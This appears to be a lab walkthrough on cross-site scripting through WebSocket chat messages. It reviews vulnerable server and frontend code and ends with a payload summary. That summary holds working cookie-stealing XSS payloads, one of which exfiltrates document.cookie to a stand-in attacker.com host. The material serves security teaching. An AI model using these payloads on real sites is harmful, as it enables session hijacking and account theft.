XSS via WebSockets
Like any other unsanitized input, embedding messages from a WebSocket connection into a website can lead to Cross-Site Scripting (XSS). If an attacker can send a malicious XSS payload to other users via WebSocket, causing it to be embedded in their browser's DOM, a valid XSS attack vector exists.
Code Review - Identifying the Vulnerability
Application Overview
Chat web application that allows users to send messages to the admin user via WebSockets.
Backend Analysis (server.py)
to_admin = queue.Queue()
to_user = queue.Queue()
@sock.route('/userws')
def userws(sock):
while True:
if not to_user.empty():
msg = to_user.get()
sock.send(msg)
msg = sock.receive(timeout=1)
if msg:
to_admin.put(msg)
@sock.route('/adminws')
def adminws(sock):
while True:
if not to_admin.empty():
msg = to_admin.get()
sock.send(msg)
msg = sock.receive(timeout=1)
if msg:
to_user.put(msg)Flow:
User messages β
to_adminqueue β sent to admin via WebSocketAdmin messages β
to_userqueue β sent to user via WebSocket
Frontend Analysis (index.html)
Vulnerability
Problem: Message added to DOM via innerHTML without any sanitization β XSS possible!
Local Testing
Setup
Open both endpoints:
User:
http://127.0.0.1:8000/Admin:
http://127.0.0.1:8000/admin
PoC: HTML Injection
Send: <strike>PoC</strike>
Result in admin's browser: PoC (strikethrough text)
Confirmed: No sanitization applied!
Exploitation
Basic <script> Tag - FAILS
<script> Tag - FAILSSending: <script>alert(1)</script>
Result: Empty message displayed, NO alert popup!
Reason: HTML5 specification security measure:
"script elements inserted using innerHTML do not execute when they are inserted"
Event Handler Bypass
Use event handlers instead (see PayloadsAllTheThings):
Result: Alert popup in admin's browser! β
Question Walkthrough
Task: Obtain the admin user's cookie.
Step 1: Analyze Source Code
Key finding in frontend:
No sanitization β XSS via WebSocket messages.
Step 2: Craft Cookie Stealing Payload
Use socket.send() to exfiltrate admin's cookie back to us:
Step 3: Send Payload
Send the XSS payload as a chat message.
Step 4: Receive Cookie
The admin's browser executes the payload:
onerrortriggers (invalid image src)socket.send(document.cookie)executesAdmin's cookie sent back via WebSocket
Cookie displayed in your chat!
Summary
Key Payloads
<img src=x onerror=alert(1)>
PoC - alert popup
<img src=x onerror=socket.send(document.cookie)>
Steal cookies via WebSocket
<img src=x onerror=fetch('http://attacker.com/?c='+document.cookie)>
Exfiltrate to external server
Last updated